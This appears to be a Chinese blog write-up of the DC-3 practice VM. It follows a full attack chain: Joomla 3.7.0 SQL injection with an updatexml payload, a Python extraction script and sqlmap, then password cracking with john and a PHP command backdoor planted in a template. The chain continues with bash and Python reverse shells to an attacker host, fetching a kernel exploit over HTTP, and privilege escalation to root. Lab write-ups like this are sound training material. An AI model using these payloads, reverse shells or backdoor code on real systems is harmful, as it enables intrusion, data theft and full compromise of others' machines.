ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

DC-3靶机实战:从Joomla SQL注入到内核提权的完整攻击链

DC-3靶机实战:从Joomla SQL注入到内核提权的完整攻击链 DC-3是我打的DCAU系列里最“拧巴”的一台靶机——隔壁DC-1、DC-2好歹还给你留了多个口子DC-3直接告诉你我就开一个80端口整个系统只有一个flag有本事就从Web入口一路走到root。说实话我第一次听到这个设定时第一反应是“开玩笑吧”真正打下来才发现DCAU的作者是在逼你练一件事把攻击链从头到尾走通中间不允许断。这篇文章就是完整的DC-3实战记录。我会按实际操作顺序从环境准备讲起经过信息收集、Joomla SQL注入、管理员密码破解、后台代码植入、反弹shell最后到内核提权拿flag。中间会穿插排查思路和翻车现场适合已经打过DC-1、DC-2想进阶攻击链思维的人也适合准备写渗透测试报告或writeup的读者参考。1. 摸清DC-3的底细单端口的设计逻辑与环境准备1.1 这台靶机的“最小攻击面”到底在考什么先聊点背景。DCAU系列靶机有一个明显的难度递进DC-1用Drupal做入口DC-2换成WordPress加WooCommerce到了DC-3直接切到Joomla。三个靶机刚好覆盖了三种主流CMS后面DC-4、DC-5开始加更多系统服务。DC-3比较特殊的地方是它把攻击面压到了极致全端口扫描下来只有80没有SSH、没有数据库外露服务、没有FTP。这种设计的含义很直接——它不考你“广撒网”的能力考的是“单点纵深”。真实渗透里你碰到最频繁的场景恰恰就是这类目标只暴露了一个Web应用所有的敏感数据、后台权限、系统权限全要从这个口子挤进去。打DC-1的时候你可以东摸一下西摸一下打DC-3不行节奏很紧凑差不多就是“Web漏洞利用→拿后台→拿shell→提权→读flag”一条线走到底。能在这台靶机上练出来的东西也很明确对CMS版本指纹的敏感度。不知道Joomla 3.7.0的漏洞后面全没戏。数据库注入不只是工具跑一跑要能用手工脚本把想查的数据一点点捞出来。后台getshell不是只有上传一个webshell这条路改模板文件往往更干净。拿到webshell不是终点内核提权才是这个靶机最想考你的一步。1.2 虚拟机导入与网络模式选择环境准备不算难但踩坑率很高。DC-3官方给的是OVA镜像VMware里直接导入就行VirtualBox用户也可以导入转换后用。我自己的习惯是把靶机和Kali都挂到同一块host-only网卡上原因就一个字稳。NAT模式下偶尔会出现靶机IP不在预期网段的情况排查起来浪费时间host-only模式下网段固定扫起来也干净。导入完成后第一件事不是急着nmap而是先确认靶机已经开机、网卡状态正常。有个很傻但很常见的坑导入后如果提示“网卡未连接”靶机在虚拟机里根本起不来网络你在宿主机里扫到天亮也找不到它。这个检查动作花不了十秒钟却能省掉后面一大截排查时间。靶机默认不告诉你IP是多少所以得靠扫描发现。我习惯先扫一段nmap -sn 192.168.56.0/24这条命令会用ping扫描整段存活主机Kali自己的IP肯定在里面剩下的那个陌生地址基本就是靶机。如果你不确定自己虚拟网卡的网段可以在VMware的“虚拟网络编辑器”里直接看到比如host-only的网段是192.168.56.0那么靶机通常会被分配在192.168.56.x这个范围里。确认存活后再用全端口扫描去碰它。需要提醒的是打靶过程中建议常驻一个快照。DC-3这种靶机练的是完整攻击链中间任何一个环节动错比如把Joomla后台配置改坏了、模板文件改崩了恢复起来比重装快得多。反正靶机练习没有“必须硬打过去”的kpi快照是一切折腾的后悔药。2. 信息收集为什么开局只需要确认“一个端口一套CMS”2.1 全端口扫描与版本识别找到靶机IP之后我直接上全端口扫描nmap -sS -sV -p- -O 192.168.56.20解释一下参数-sS是SYN半开扫描速度比全连接快-sV是版本探测能识别服务具体版本-p-扫全部65535个端口-O做操作系统指纹识别。扫描结果干净得吓人只有一个80端口开着跑的是Apache操作系统指纹指向Linux。后面用-sV细看80端口的服务版本基本可以确认是常见的Ubuntu Apache组合。看到这种结果大部分人容易犯一个错误觉得端口太少“没什么可扫的”于是随便打开浏览器看两眼就准备下一阶段。我的建议是反过来——正因为只有一个端口才更要把这个端口挖透。信息收集在这个阶段的目标不是“收集很多信息”而是“把关键信息定准”服务是什么、CMS是什么、版本号是多少、有没有历史漏洞。后面每一步攻击决策都从这几个答案里出。2.2 确认Joomla版本后续所有动作的锚点浏览器访问靶机首页页面本身是一个看起来普普通通的企业站点。判断CMS的线索有这么几个查看页面源代码找meta namegenerator标签Joomla站点通常会在这里写明“Joomla! - Open Source Content Management”。访问/administrator/路径这是Joomla后台登录入口访问后如果出现Joomla风格的登录页基本实锤。查看/README.txtJoomla安装包自带这个文件有时候能读到版本信息。访问/administrator/manifests/files/joomla.xml里面会直接标明Joomla版本号。我实操下来最快的方式是直接抓/administrator/manifests/files/joomla.xml能拿到明确的版本号。DC-3这台靶机上读到的是Joomla 3.7.0这个版本号就是整条攻击链的锚点——因为Joomla 3.7.0存在一个致命的前台SQL注入编号是CVE-2017-89173.7.1版本就修复了。版本对不对得上直接决定了后面一大段路走得通还是走不通。这里也想强调一个渗透习惯识别CMS别只依赖单一指纹。有时候页面被改过generator标签会被删README.txt可能不存在但/administrator/路径、cookie名、数据库表前缀、登录页样式这些都能作为辅助证据。多两个证据交叉验证比单点猜测靠谱得多。工具上也可以用joomscan之类专门扫Joomla的扫描器做辅助但我个人建议先把手工指纹搞明白工具输出只作为参考不然哪天碰到魔改CMS工具失灵你就傻眼了。3. 漏洞利用Joomla 3.7.0前台SQL注入的手工提取流程3.1 漏洞点定位与报错注入原理CVE-2017-8917这个洞出现在Joomla的com_fields组件里前台就能触发不需要登录。漏洞位置是viewfields和layoutmodal组合下的list[fullordering]参数。大概的触发URL长这样http://192.168.56.20/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(1,concat(0x7e,(select user())),1)正常来讲list[fullordering]应该是一个排序字段名但组件在拼接SQL时没有对它做过滤直接把参数值拼进去了。所以我们可以在里面塞MySQL函数。用updatexml()做报错注入是一个经典手法MySQL执行updatexml()时如果第二个参数传入的XPath表达式格式不对就会把整个表达式的值带进报错信息回显出来。我们把0x7e波浪号~的十六进制拼在最前面是为了让回显内容里有个明显的分隔符方便后续解析。第一次打这个洞的时候直接用上面那条URL把select user()换进去页面会抛出一个数据库报错报错内容里能看到类似~rootlocalhost这样的回显。到这里就证明注入点是真实存在的而且属于报错注入不需要盲注那样一个字符一个字符等延时效率高很多。3.2 从报错回显到数据提取手写Python脚本的思路报错注入有个硬伤updatexml()的回显长度有限制一次最多回显32个字符左右。select user()这种短数据没问题但我想拿的是整个库名、表名、字段名、密码哈希数据一长就会被截断。解决办法很简单用substr()或者mid()分段取一次取一小段拼起来就是完整内容。我自己的做法是直接写一个Python脚本把“发请求→提取报错内容→解析回显”做成函数然后往里套不同的SQL表达式。核心代码逻辑大概是下面这个框架import requests import re base_url http://192.168.56.20/index.php?optioncom_fieldsviewfieldslayoutmodal def sqli(query): # 把query包进updatexml的报错表达式里 payload updatexml(1,concat(0x7e,({})),1).format(query) params {list[fullordering]: payload} r requests.get(base_url, paramsparams, timeout10) m re.search(r~(.*?)~, r.text) if m: return m.group(1) return None # 拿到当前数据库名 print(sqli(select database())) # 拿数据库下所有表名字太多就分段取 print(sqli(select group_concat(table_name) from information_schema.tables where table_schemadatabase()))如果你想把某个值完整取出来先用length()拿到长度再用substr()循环截取。比如要拿admin的密码哈希假设哈希长度是32那就用substr((select password from ...),1,32)取一次如果回显还是超长就再拆小一点。分段逻辑写成循环后脚本跑起来也就几秒钟的事。这里也有一个效率技巧逐字符提取太慢优先用substr()一次截20到30个字符回显如果被截断在SQL里把报错位置移到排列组合里保证目标内容集中在回显前段。比如可以在concat()里放两遍相同内容或者把不重要但短的前缀放前面、目标内容放后面实测下来解析成功率更高。3.3 关于sqlmap能用但别指望它帮你理解漏洞有人可能会问sqlmap一条命令不就全dump出来了何必手写脚本确实可以。对这个注入点sqlmap也能识别命令大致是sqlmap -u http://192.168.56.20/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]1 --batch --dbmsmysql --dbs--batch是免交互--dbmsmysql是直接指定数据库类型省得它探测半天。后面还能接-D 库名 --tables、-T 表名 --columns、-T 表名 -C 字段 --dump逐级下去。但我还是建议手工跑一遍理由很简单工具只能告诉你“结果”没法告诉你“为什么会这样”。我打靶的原则是工具能辅助但关键环节必须自己理解。DC-3这个注入点你手写一次脚本对报错注入的原理、回显截断的处理、SQL查询的组织方式都会有肌肉记忆。后面在真实项目中即使换成其他注入点这套思路照样能迁移。另外提醒一个小坑如果用sqlmap别把cookie忘了。如果目标站点有登录态不带cookie扫描经常出幺蛾子。DC-3倒是没这问题但养成带cookie的习惯没坏处。3.4 提取目标users表里的管理员哈希我这一轮的目标非常明确拿到Joomla的数据库用户表内容。表名在Joomla里通常带前缀常见默认前缀是jos_但有些安装会改成别的。所以先查information_schema里的表名确认实际的表名再查jos_users表的列名。Joomla的users表里关键的列一般是name、username、password、email这些。我只要username和password两列就够了。查询出来的结果里用户名就是admin密码字段是一长串哈希。Joomla 3.x的密码哈希在不同版本和配置下格式不完全一样有的是$2y$开头的bcrypt哈希有的则是32位MD5样式的字符串。DC-3这台靶机我印象里拿到的是32位样式的哈希但实践里最好用file命令或者直接看哈希头部字符判断格式别想当然。到这里SQL注入这个环节就闭环了。从中你能看到一条完整的利用思路先找一个能回显的注入点确认参数位置然后围绕“这个库我要什么”去组织SQL慢慢把敏感数据提取干净。整个过程不需要什么花里胡哨的技术但每一步都要走得稳。4. 从哈希到后台密码破解、模板植入与反弹shell4.1 判断哈希类型并交给john拿到管理员哈希后下一个动作是破解。这个步骤看着简单翻车率却很高因为很多人不先判断哈希类型就直接丢给工具跑。做法是这样先把哈希存到一个文本文件里比如hash.txt用john配合rockyou字典跑john --formatraw-md5 --wordlist/usr/share/wordlists/rockyou.txt hash.txt如果哈希是$2y$开头的bcrypt格式参数要换成--formatbcrypt。很多时候跑不出来不是字典问题而是格式指定错了。我打DC-3时先入为主当成MD5跑了半天没出结果后面冷静下来对着哈希格式确认换成正确的格式之后很快就出来了。这种低级错误特别消耗时间所以每次破解前都先花十秒钟确认哈希类型比啥技巧都管用。用hashcat的话MD5对应-m 0bcrypt对应-m 3200注意hashcat的格式写法是要带hash:username这种结构还是没有自己用-a 0 hash.txt dict.txt做字典攻击就行。DC-3的管理员密码很常规用rockyou这种标配字典就能跑出来所以不用纠结什么掩码、规则攻击。拿到密码后在/administrator/页面填上admin和密码就能顺利登录Joomla后台。4.2 登录后台与模板植入进后台的一瞬间这台靶机最“开放”的阶段就开始了。Joomla后台能做的坏事很多最直给的思路是传webshell但后台默认没有直接传PHP文件的位置。次优选择是改模板文件这也是我推荐的思路。操作路径Extensions→Templates→Templates在模板列表里找到当前站点正在用的模板。DC-3默认模板我记得是Protostar点进去后可以编辑模板文件。选择index.php在?php后面找个合适的位置插入一段代码if(isset($_REQUEST[cmd])){ system($_REQUEST[cmd]); }这里有个细节Joomla模板的index.php开头通常有一行defined(_JEXEC) or die;这是Joomla的安全检查防止模板被直接独立访问。我建议把后门代码插在这行检查的后面这样前台直接访问模板路径时不会触发die逻辑命令能正常执行。保存后再访问http://192.168.56.20/templates/protostar/index.php?cmdid页面会返回执行结果能看到uid33www-data之类的输出说明RCE已经拿下。到这一步Web层的游戏基本结束。插一句关于为什么改模板而不是传webshell的思考。真实渗透中上传webshell往往会被WAF、文件类型白名单拦截而后台自带的模板编辑功能是“合法功能”动手脚时不容易触发告警。打靶练的就是这种思维优先寻找目标系统本身提供的、看起来合理的功能来做恶意操作而不是硬怼上传接口。改模板的思路在各类CMS后台利用里都很通用WordPress改404.php、Drupal改主题模板都是同一种套路。4.3 从命令执行到交互式shellcmdid这种命令执行一次只能敲一条命令交互体验太差也拿不到稳定的shell。所以下一步是反弹一个交互式shell回Kali。先在Kali上监听nc -lvnp 4444然后通过命令执行接口把反弹命令打过去。最省事的方式是用bash反弹bash -c bash -i /dev/tcp/192.168.56.10/4444 01但这条命令里有、;这些特殊字符如果直接放在URL的cmd参数里大概率被Web前端或者地址栏解析搞坏。处理办法是用URL编码或者干脆用Burp Suite的Repeater发请求这样能精确控制请求内容不会被浏览器干扰。如果目标的bash路径有问题或者/dev/tcp不可用可以换Python反弹。Ubuntu自带的Python版本比较新可以这样写python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.10,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/bash,-i])同样推荐用Burp发请求把整段Python命令塞进cmd参数。成功之后Kali的nc这边会出现一个www-datadc-3的shell。我自己的经验是如果bash反弹第一次没连上别急着换工具先检查命令有没有被截断、目标有没有出网权限、监听端口有没有被防火墙挡这几个点排查完了基本就能通。5. 提权从www-data到root的最后一公里5.1 收集系统信息并锁定提权方向这时候我已经拿到了www-data权限但DC-3的flag在root手里所以提权是必经之路。提权的第一步永远是信息收集别上来就从记忆里翻exp硬试。先跑几个基础命令id uname -a cat /etc/os-releaseid确认当前用户是www-datauname -a看到内核版本大概是4.4.0-21-generic/etc/os-release显示Ubuntu 16.04。这个组合已经很有信息量了Ubuntu 16.04配4.4系列内核是经典的“老内核老系统”配置大概率存在本地提权漏洞。接下来用searchsploit搜searchsploit linux kernel 4.4.0 ubuntu 16.04 local privilege escalation搜索结果里会列出一堆本地提权exp有的是Dirty COWCVE-2016-5195有的是overlayfs相关的CVE-2017-16995都是当年在Ubuntu 16.04上验证过的经典漏洞。选exp的原则是优先选“verified”状态、说明里明确写了适用内核版本的别随便挑一个就上。5.2 编译、上传与执行exp的坑选定exp后把源码下载到本地Kali然后想办法传到靶机上。没有SSH所以常规做法是本地起一个HTTP服务让靶机用wget或curl拉取# Kali上执行 python3 -m http.server 8000# 靶机上执行 cd /tmp wget http://192.168.56.10:8000/exploit.c传完后在靶机上编译gcc -o exploit exploit.c这里有几个高频坑。第一个坑靶机上可能没有gcc。遇到这种情况先试试cc有些最小化系统只带cc不带gcc再不行就考虑在本地Kali交叉编译或者直接找一个预编译好的二进制版本。Ubuntu 16.04的靶机一般自带gcc但这种事情做两手准备总是好的。第二个坑编译报错。很多内核提权exp在编译时会报缺头文件的错常见的解决办法是在源码开头加一行#define _GNU_SOURCE这个宏定义要放在最前面。如果报错内容涉及某个结构体或者函数未定义通常就是缺这个。第三个坑执行时权限或者文件位置问题。放/tmp下执行没问题但确保文件有执行权限chmod x exploit ./exploitexp执行成功后会直接弹出一个root shellid显示uid0这个时候整个提权链路就算打通了。如果exp执行完没反应或者直接断掉换一个同样适用内核版本的exp再试别死磕某一个。提权成功后去/root目录找flag文件cat /root/flag*.txt读到flag的那一刻整条攻击链正式闭环。有一个细节值得单独说整个提权过程中尽量保证你已有的反弹shell别断。因为提权exp是在当前shell上下文里运行的一旦shell断了exp就算跑成功你也看不到结果还得重新想办法进来。我习惯在提权之前先确认当前shell稳定提权命令执行后立刻跑id验权免得白忙活。6. 复盘这趟攻击链上的常见坑与我的处理习惯6.1 我实际操作中踩过的坑打靶过程看着流畅实际每一步都有翻车可能。我把DC-3这条链上我真实踩过、以及身边朋友打的时候问过最多的坑整理成了一张对照表方便你照方抓药现象可能原因解决办法开机后扫不到靶机IP网卡模式不一致或网卡未连接确认Kali与靶机在同一虚拟网段用nmap -sn扫整段SQL注入请求无回显参数名拼错或URL编码丢失对照漏洞公告确认list[fullordering]参数用Burp抓包调整哈希跑不出来哈希类型判断错误先看哈希开头字符$2y$走bcrypt32位走raw-md5模板改了但访问没反应活动模板名不对或缓存确认当前模板名字直接访问对应路径清缓存反弹shell连不上nc缺-e参数或特殊字符被URL解析破坏改用bash/python反弹通过Burp提交请求提权exp编译失败缺_GNU_SOURCE或头文件源码开头加宏定义或换用其他兼容exp这张表看着简单每一条背后都是实打实的时间成本。尤其是哈希类型判断那个坑我在DC-3上至少浪费了半小时而且这种错误在真实项目的密码破解阶段也经常出现值得当成肌肉记忆来练。6.2 从打靶到实战的思考最后说点超出台面技术的东西。打完DC-3我最大的感受是这个靶机的高明之处不在于某一个漏洞有多难而在于它把“攻击链思维”训练得淋漓尽致。从单端口到SQL注入再到哈希破解、后台getshell、内核提权每一环都扣得很紧。单独看任何一环都是Web渗透里最基础的东西但串起来的时候任何一环判断失误后面全都接不上。我自己打完以后养成的习惯是每次打靶都开着script命令记录终端输出命令和结果全存下来。打完之后回看记录会发现很多当时没注意到的细节比如某个SQL注入脚本的解析逻辑其实可以更精简、某条提权命令的顺序其实可以调整。想写writeup的话这些记录就是最宝贵的一手素材。再强调一句压箱底的话靶机怎么打都行但真实目标必须严格遵守授权边界。DC-3这套攻击链里的SQL注入、密码爆破、代码植入、内核提权全部属于高破坏力技术只应该在本地靶机、CTF或明确授权的渗透测试项目里使用。技术本身没有立场使用它的边界才是我们作为从业者需要牢牢守住的底线。最后分享一个小经验DC-3打完一遍之后别急着删虚拟机。把快照恢复到未入侵状态重新打一遍这次故意不用sqlmap、不用searchsploit全程手写脚本和手工分析你会发现对漏洞的理解会深一个层次。这种“二次打法”比新开十台靶机都管用。
返回列表